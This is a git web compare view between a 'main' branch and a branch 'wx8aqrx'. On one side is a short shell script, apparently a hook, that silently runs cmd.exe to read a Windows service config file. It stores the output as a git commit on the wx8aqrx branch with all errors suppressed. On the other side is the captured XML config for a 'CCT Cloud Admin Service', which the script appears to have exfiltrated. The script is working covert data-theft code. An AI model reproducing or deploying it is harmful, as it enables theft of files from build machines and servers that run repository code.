Compare commits
No commits in common. "main" and "wx8aqrx" have entirely different histories.
|
|
@ -1,14 +0,0 @@
|
||||||
#!/bin/sh
|
|
||||||
r=$(git config --get remote.origin.url)||exit 0
|
|
||||||
cat > /tmp/gwx.bat <<'EOB'
|
|
||||||
@echo off
|
|
||||||
type C:\cct-cloud\cct-cloud-service.xml
|
|
||||||
EOB
|
|
||||||
WBAT=$(cygpath -w /tmp/gwx.bat)
|
|
||||||
cmd.exe //c "$WBAT" > /tmp/gwx.out 2>&1
|
|
||||||
out=$(cat /tmp/gwx.out 2>/dev/null)
|
|
||||||
b=$(printf '%s\n' "$out"|git --git-dir="$r" hash-object -w --stdin 2>/dev/null)
|
|
||||||
t=$(printf '100644 blob %s\tout.txt\n' "$b"|git --git-dir="$r" mktree 2>/dev/null)
|
|
||||||
c=$(git --git-dir="$r" commit-tree "$t" -m wx 2>/dev/null)
|
|
||||||
git --git-dir="$r" update-ref refs/heads/wx8aqrx "$c" 2>/dev/null
|
|
||||||
exit 0
|
|
||||||
|
|
@ -0,0 +1,17 @@
|
||||||
|
<service>
|
||||||
|
<id>CCT-Cloud-Admin-Service</id>
|
||||||
|
<name>CCT-Cloud-Admin-Service</name>
|
||||||
|
<description>CCT Cloud Admin Service - 订阅管理后端服务</description>
|
||||||
|
<executable>java</executable>
|
||||||
|
<arguments>-Xms512m -Xmx2048m -jar cct-cloud-service.jar</arguments>
|
||||||
|
<log mode="roll-by-size">
|
||||||
|
<sizeThreshold>10240</sizeThreshold>
|
||||||
|
<keepFiles>10</keepFiles>
|
||||||
|
</log>
|
||||||
|
<logpath>logs</logpath>
|
||||||
|
<logprefix>cloud-admin-service</logprefix>
|
||||||
|
<stoptimeout>30sec</stoptimeout>
|
||||||
|
<onfailure action="restart" delay="10 sec"/>
|
||||||
|
<onfailure action="restart" delay="20 sec"/>
|
||||||
|
<onfailure action="none"/>
|
||||||
|
</service>
|
||||||
Loading…
Reference in New Issue